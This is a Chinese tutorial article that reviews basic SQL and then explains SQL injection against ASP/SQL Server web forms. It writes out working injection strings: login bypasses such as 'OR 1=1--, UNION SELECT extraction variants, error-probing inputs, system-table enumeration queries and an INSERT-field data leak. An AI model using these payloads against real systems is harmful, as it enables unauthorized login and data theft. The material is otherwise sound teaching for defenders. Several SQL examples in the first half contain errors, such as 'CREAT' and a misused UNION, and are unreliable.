警惕SQL注入的危险


                                                   程科峰

    基础的SQL语言对于每个从事SQL开发的人员来说都是非常重要的,而SQL注入是从SQL应用衍生出来的一种漏洞或攻击方法。本文在回顾基础的SQL语言的基础上,介绍了SQL注入和如何使用SQL注入法进行网络攻击。

    网络的应用和普及产生了大量的数据信息,这些数据信息多被存在数据库中。与数据库交流主要是通过SQL语言,然而对它的不熟悉和使用的模糊限制了开发者的工作效率,更严重的是,这可能会导致系统的危机。SQL使用方便,应用广泛,并且主流的关系型数据库都支持SQL的执行。正是因为SQL的使用便捷和应用广泛导致了SQL注入一出世就造成了巨大的影响。任何允许执行人工输入SQL语句的地方,就存在SQL注入的危险。因此,深层理解SQL和SQL注入,掌握SQL注入的执行原理和方法是极为重要的。

    一、SQL纵览  
    SQL(Structured Query Language)语言是一种结构化查询语言,它的功能不仅是查询,具体说,它是一种通用的、功能强的关系型数据库语言。SQL语言中完成核心功能的有以下9个关键词:SELECT(数据查询),CREAT、DROP、ALTER(数据定义),INSERT、UPDATE、DELETE(数据操纵), GRANT、REVOKE(数据控制)。

    1、数据定义部分

      (1)创建基本表:

           CREAT TABLE employee (Eno  CHAR(6) NOT NULL  UNIQUE,
           Ename CHAR(20) UNIQUE,
           Esex  CHAR(2),
           Eage  INT,
           Edept CHAR(10),
           Espe  CHAR(20));

    该语句创建了一个名为employee的数据表,它共有六列,分别为字符型(长度为6,非空,唯一)的雇员号Eno,字符型(长度为20,唯一)的雇员姓名Ename,字符型(长度为2)的雇员性别,整型的雇员年龄,字符型(长度为10)的雇员部门,字符型(长度为20)的雇员特长。

      (2)删除基本表:
  
           DROP TABLE employee;

    删除表employee,数据也一并删除,一旦执行成功不可逆,因此使用该条语句时要格外注意,最好使用事务处理、事前备份和确认提醒等。

      (3)更改基本表:
          
           ALTER TABLE employee ADD Esalary CHAR(5);
           在雇员表中加入一列,字符型(长度为5)的雇员薪水
           ALTER TABLE employee DROP UNIQUE(Ename); 
           去掉雇员表中雇员姓名列的唯一属性
           ALTER TABLE employee MODIFY Esex CHAR(1);
           把雇员表中的性别列改为一位字符型。

    2、数据查询部分

    数据查询部分是SQL语句中最灵活、功能最强的部分,对于查询语句的使用熟练程度和对查询结构的优化能力最能体现SQL编程人员的基本功。因此,该部分必须要给予足够的重视。现详述如下:

      (1)基本查询语句:
           
           SELECT  Eno,Ename,Esex FROM employee;
           查询employee表中的Eno,Ename,Esex三列
           SELECT  *   FROM employee;          
           查询employee表中的所有列
           SELECT DISTINCT Eno FROM employee; 
           查询employee表中的Eno列,并去除重复行

      (2)条件(WHERE)查询语句:

    查询条件的连接词如下NOT,=,>,<,>=,<=,!=,<>,!>,!<(比较);BETWEEN AND,NOT BETWEEN AND (确定范围);IN,NOT IN(确定集合);LIKE,NOT LIKE(字符匹配);IS NULL,IS NOT NULL(空值);AND,OR(多条件连接)

           1)比较
              SELECT Eno FROM employee WHERE Eage <=25; 
              列出雇员表中年龄小于25的雇员号

           2)确定范围
              SELECT Eno,Ename FROM employee          
              WHERE Eage [NOT]BETWEEN 20 AND 30;  
              列出雇员表中年龄(不)在20到30的雇员号和姓名

           3)确定集合
              SELECT Eno,Ename FROM employee          
              WHERE Edept [NOT]IN(′SD′,′HD′);
              列出雇员表中(不)是软硬件开发部的雇员号和姓名

           4)字符匹配
              LIKE的用法如下:
              [NOT]LIKE ′<匹配模式>′[ESCAPE ′<换码符>′]  
              通配符号有 % 和 _ 两种:
              % :匹配任意长度的字符串(长度可为0)。a%b 可与ab,adfb等匹配。
              _:匹配单个任意字符。a_b 可与a#b,a@b等匹配。
              如果有ESCAPE,则跟在换码符号后的%或_不再是通配符号,只是正常的%或_。
              例如:
              SELECT * FROM employee WHERE Ename LIKE ′刘%′; 
              查找雇员表中姓刘雇员的信息
              SELECT * FROM employee WHERE Ename LIKE ′刘_ _′;
              查找雇员表中姓名为刘某(两个字)的雇员的信息(汉字占2个字符的位置)
              SELECT * FROM employee WHERE Espe LIKE ′DB/_%t_′ESCAPE ′/′;
              查找雇员表中特长项为DB_ 开始,倒数第二个字符为t的雇员信息

           5)空值
              SELECT * FROM employee WHERE Espe IS [NOT] NULL;
              查找雇员表中特长项(不)为空的雇员信息

           6)多条件连接
              SELECT Ename FROM employee WHERE Edept=′SD′AND Eage <= 30;
              列出雇员表中软件开发部30岁以下雇员的姓名

      (3)结果排序
           对查询的结果进行排序使用ORDER BY,ASC(默认)为升序,DESC为降序。
           SELECT * FROM employee ORDER BY Edept,Eage DESC;
           把所有雇员按部门升序,年龄降序排列(缺省是升序)

      (4)结果分组
           对查询结果的分组一般都要用到SQL的集函数,因此先介绍SQL的集函数。
           SQL语言中的集函数主要有COUNT(统计总数),SUM(求总和),AVG(求均值),MAX(最大值),MIN(最小值)。       
         例如:
           SELECT MAX(Eage) FROM employee WHERE Edept=′SD′;
                   列出软件开发部年纪最大雇员的姓名
           SELECT Edept FROM employee GROUP BY Edept HAVING Count(*)>10 ;
                   统计各部门的雇员数,只显示雇员数大于10的部门
           SELECT Edept,COUNT(Eno) FROM employee GROUP BY Edept ;
                  统计各部门的雇员数,按部门分组列出各部门的雇员数

      (5)连接查询  
    连接查询指的是查询涉及多个数据表,FROM后连接多个表的情况。假如我们要统计各个项目参加人的雇员号和姓名,涉及的表Eproject(雇员参加的项目)结构如下:
 
           Eproject ( Eno  CHAR(6),Pno  CHAR(6),TimeBgn  TIME,
           TimeEnd  TIME,Remark  CHAR(50));
           相应的查询语句为:
           SELECT Eproject.Pno,employee.Eno,Ename,
           FROM employee, Eproject
           WHERE employee.Eno = Eproject.Eno
           ORDER BY Eproject.Pno ;
           列出参加各项目的雇员号和姓名,并按项目号升序排列。

      (6)集合查询  
    集合查询指的是多个SELECT查询结果间进行的集合操作,主要有UNION(并操作)、INTERSECT(交操作)、MINUS(差操作)。其中标准SQL中没有提供交操作和差操作,但它们可以使用联合查询实现。假如我们要查询硬件开发部年龄不大于25岁的雇员,可以用集合查询实现如下:

           SELECT * FROM employee WHERE Edept=′HD′
           UNION SELECT * FROM employee WHERE Eage <= 25;

    3、数据更新部分
       SQL中的数据更新语句有INSERT,UPDATE和DELETE三种,用法如下:

      (1)插入数据
           INSERT INTO employee 
           VALUES (′13253′,′王二′,′男′,23,′SD′, ′DB_Project′);
           向雇员表中插入一条完整的数据
           INSERT INTO employee (Eno  ,Ename)
           VALUES (′13253′,′王二′);
           向雇员表中插入一条数据,只包含雇员号和姓名,其它列为空值

       注意:以上情况,属性为非空的列一定不能为空值。

      (2)修改数据
           UPDATE employee SET Eage=24 WHERE Eno=′13253′;
             将雇员表中13253号雇员年龄改为24岁

      (3)删除数据
          DELETE FROM employee WHERE Eno=′13253′;
             将雇员表中13253号雇员信息删除

    4、数据控制部分

      (1)用户授权
           SQL 的用户授权使用GRANT关键词,它的用法举例如下:

           GRANT SELECT ON TABLE employee TO usr1;
           允许用户usr1查询表employee
           GRANT ALL PRIVILEGES ON TABLE employee TO usr2;
           允许用户usr2对表employee的任何操作(查询,插入、更新、删除数据)

      (2)收回权限
           SQL 中收回用户权限使用REVOKE关键词,它的用法举例如下:
   
           REVOKE UPDATE(Eno) ON TABLE employee FROM usr3;
           收回用户usr3更新表employee中Eno列的权力
           REVOKE INSERT ON TABLE employee FROM PUBLIC;
           不允许所有用户在表employee中添加数据

    二、SQL注入(SQL INJECTION)简介  

    自从SQL Injection被发现以来,人们通过大量的实验发现,它存在于任何允许执行SQL语句的地方。简单的说,SQL injection是一种源于SQL的漏洞,也可以说成是一种攻击方法,它利用程序对用户输入数据的检验不足或程序自身对变量处理不当,把想要执行的SQL语句插入到实际的SQL语句中发送给服务器去执行,后果轻则导致敏感信息泄漏,重则使整个服务器受控。

    例如,某个登录系统(ASP+SQLServer)输入帐号和密码的SQL语句为:

          SELECT * FROM member WHERE UID =′  "& request("ID") &"  ′ 

          AND Passwd =′ "& request("Pwd") & " ′

          如果正常使用者的帐号user1,密码abcdefg12345,那么此时的SQL语句为:

          SELECT * FROM member WHERE UID =′user1′ AND Passwd =′abcdefg12345′;

          在这里举三个SQL Injection的实例简单说明一下这种漏洞的原理:

    1、帐号输入 user1′-- ,密码任意(如aaa),此时的SQL语句变为:

       SELECT * FROM member WHERE UID =′user1′--′ AND Passwd =′aaa′

    由于--之后的语句被忽略,AND字句被作为说明而失去了作用,用户user1就可以用任何密码登录系统。如果登录用户是系统管理员权限,后果就不堪设想了。

    2、帐号输入′OR 1=1--,密码任意(如aaa),此时的SQL语句变为:

       SELECT * FROM member WHERE UID =′′OR 1=1--′ AND Passwd =′aaa′

       由于AND字句被作为说明而失去了作用,where字句返回为真,这个SQL语句就失去了鉴别作用。 

    3、帐号输入任意(如uuu)  ,密码为aaa(任意)′OR 1=1--,此时的SQL语句变为:
       SELECT * FROM member WHERE UID =′uuu′AND Passwd =′aaa′OR 1=1 --
       由于--之后的语句被忽略,WHERE字句返回为真,该SQL语句就失去了鉴别作用。 

    三、SQL注入纵览  

    从最初的"1=1"型SQL注入,到现在的SQLServer存储过程和扩展存储过程注入,SQL注入迄今为止已经被发现数十种。总的来说,它的分类可以从SQL语言的自身进行,它可以分为授权旁路型、SELECT型、INSERT型、其它型(如SQLServer存储过程)。如前所述,SQL语言中的数据查询部分(SELECT语句)是SQL语句中最灵活、功能最强的部分,因此,该部分的SQL注入也种类繁多,主要有基本SELECT型、基本集合(UNION)型、语法错误型列举、匹配(LIKE)型、--结尾型等。现对于各种SQL注入分述如下:
  
    1、授权旁路型
    这种类型的SQL注入是最简单、最易理解的一种SQL注入,它主要存在于表格式登录系统。除了简介中所列出的几种之外,还有一种更直接的SQL注入,登录帐号和密码都为   ′OR "= ′,此时SQL语句变为

       SELECT * FROM member WHERE UID =′′OR ′′=′′ AND Passwd =′′OR  ′′=′′

       显然,该SQL语句失去了鉴别功能。

    2、SELECT型SQL注入
    
      (1)基本SELECT型
    
    基本SELECT型SQL注入分为直接型和引用型。直接型SQL注入指的是用户提交的数据直接被用在SQL查询中。如果在某个合法输入值后添加一个空格和OR,系统返回了一个错误,那么就可能存在直接型SQL注入。直接值的位置可能存在于WHERE子句中,如:

          SQLString=" SELECT * FROM member WHERE UID = "& intUID

          或者存在于某个SQL关键词中,如某个表名或列名:

          SQLString=" SELECT * FROM member ORDER BY " & strColumn

          而引用型的SQL注入指的是用户提交的数据被放在引号中提交。如:
  
          SQLString=" SELECT * FROM member WHERE UID =′"& strUID & "′"
   
          此时要注入的部分要以单引号开始,与之前的单引号匹配,结尾在WHERE子句后加单引号,与之后的单引号匹配。
    
      (2)基本集合(UNION)型
           基本集合型SQL注入是在WHERE子句中插入一个UNION SELECT语句,以达到执行注入部分的目的。例如目标SQL语句为:

           SQLString=" SELECT Name,Sex,Title FROM member WHERE UID =′"& strColumn & "′"
             使用的注入字串如下:
           ′UNION  SELECT otherfield FROM othertable WHERE  ′′= ′
             这样一来,提交的查询语句就成了:
           SELECT Name,Sex,Title FROM member WHERE UID =′′
           UNION  SELECT otherfield FROM othertable WHERE  ′′= ′′
 
    结果就有以下操作:数据库首先检索member表查找UID为空的行,由于不存在UID为空的行,所以没有返回记录。返回的记录存在于注入部分的查询。有时使用空值会不起作用,可能是表中空值被使用或被用于实现其他的功能。这种情况下,你唯一要做的就是构造一个决不会出现在表中的字串,只要它能使UNION SELECT之前不返回记录。
    
       (3)语法错误型
  
    对于某些数据库而言,返回的错误信息中包含了语法错误的部分,因此,通过制造语法错误(错误注入),可以得到很多有价值的信息。
       
    构造的错误字符串有:′,错误值′,′错误值,′OR′,′OR,OR′,;等。
     
       (4)圆括号型   
        
    如果返回的错误中包含圆括号,或者错误是丢失圆括号,那么就要在错误值和WHERE子句部分添加圆括号。例如目标SQL语句为

            SQLStr=" SELECT Name,Sex,Title FROM member WHERE(UID =′"& strID & "′)"

            使用的注入字串就要变为:
 
            ′)UNION  SELECT otherfield FROM othertable WHERE ( ′′= ′
       
            这样一来,提交的查询语句就成了:

            SELECT Name,Sex,Title FROM member WHERE(UID =′′)

            UNION  SELECT otherfield FROM othertable WHERE ( ′′= ′′)

            由于不存在UID为空的行,所以第一部分没有返回记录,返回的记录存在于注入部分的查询。
     
         (5)LIKE型
    
    LIKE型的SQL注入也很常见。如果返回错误中含有%,_或者LIKE等字眼,说明该系统存在LIKE型注入漏洞,用户提交的数据会被送给LIKE子句去执行。例如目标SQL语句为

              SQLStr=" SELECT Name,Sex,Title FROM member WHERE Name LIKE′%"& strColumn & "%′"

              而使用的注入字串为:

              ′UNION  SELECT otherfield FROM othertable WHERE ′%37′= ′

              得到提交的查询语句为:

              SELECT Name,Sex,Title FROM member WHERE Name LIKE′%′

              UNION  SELECT otherfield FROM othertable WHERE ′%′= ′%′

    显然,第一部分返回为表member的所有记录,第二部分为用户想要得到的记录,最终得到就是用户想要的记录。
     
         (6)错误结尾
     
    有些时候,当尝试了许多注入方法后,返回依旧是错误。这说明目标SQL语句可能并不像所猜测的那样简单,它可能存在子查询或连接查询等复杂的情况。这时,对于SQLServer,由于“”之后的语句会被忽略,所以要在注入的SQL语句末尾,加上“;;- -”。

         (7)连接查询
    
    如果目标SQL语句为

              SQLStr=" SELECT Name,Sex,Title FROM member 

              WHERE UID =′"& strID & "′AND Sex=′Female′"

    如果使用的注入字串为:
 
              ′UNION  SELECT otherfield FROM othertable WHERE  ′′= ′
    
    这样一来,提交的查询语句就成了:

              SELECT Name,Sex,Title FROM member WHERE UID =′′

              UNION  SELECT otherfield FROM othertable WHERE  ′′= ′′AND Sex=′Female′
    
    由于othertable中不一定存在名为Sex的列,所以可能会返回“Invalid column name Sex”的错误。对于SQLServer而言,在系统表sysobjects中存有库中所有表的列名,所以,使用SELECT name FROM sysobjects WHERE xtype=′U′可以返回库中所有用户定义表的表名。

    在这种情况下,构造的SQL注入语句要成为以下结构:  

              SELECT name FROM syscolumns 

              WHERE id=(SELECT id FROM sysobjects WHERE name=′TableName′)

    3、INSERT型SQL注入
      
    INSERT执行在数据库中增加列的功能,它用在用户注册,发表言论,网上购物等许多地方。由于它直接改变数据库的数据,所以使用INSERT型注入比SELECT型更危险。对于攻击者而言,如果使用INSERT型注入的语句出现错误,可能因为在数据库中产生一串单引号而被检测到。所以,使用INSERT型SQL注入要格外小心。
  
    例如目标SQL语句为(注册项为姓名,性别,邮箱)
             SQLStr="INSERT INTO TableName 
             VALUES(′"& strName & "′,′"& strSex & "′,′"& strEmail & "′)"
    如下填表:
             姓名:′+ SELECT TOP 1 FieldName FROM TableName+′
             性别:Male
             邮箱:aaa@yahoo.com
    这样,提交的SQL语句为:
             INSERT INTO TableName VALUES
            (′′+ SELECT TOP 1 FieldName FROM TableName+′′,′Male′,′aaa@yahoo.com′)
   
    在返回的注册信息中,就可以找到表TableName中的FieldName的值。   

    由于SQL语言的设计思想就是要使用灵活,所以各种各样的SQL注入方法也会层出不穷。但是总的来说,只要对SQL语言足够熟悉,并且时刻注意SQL注入的危险,至少已经向安全迈出了第一步。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值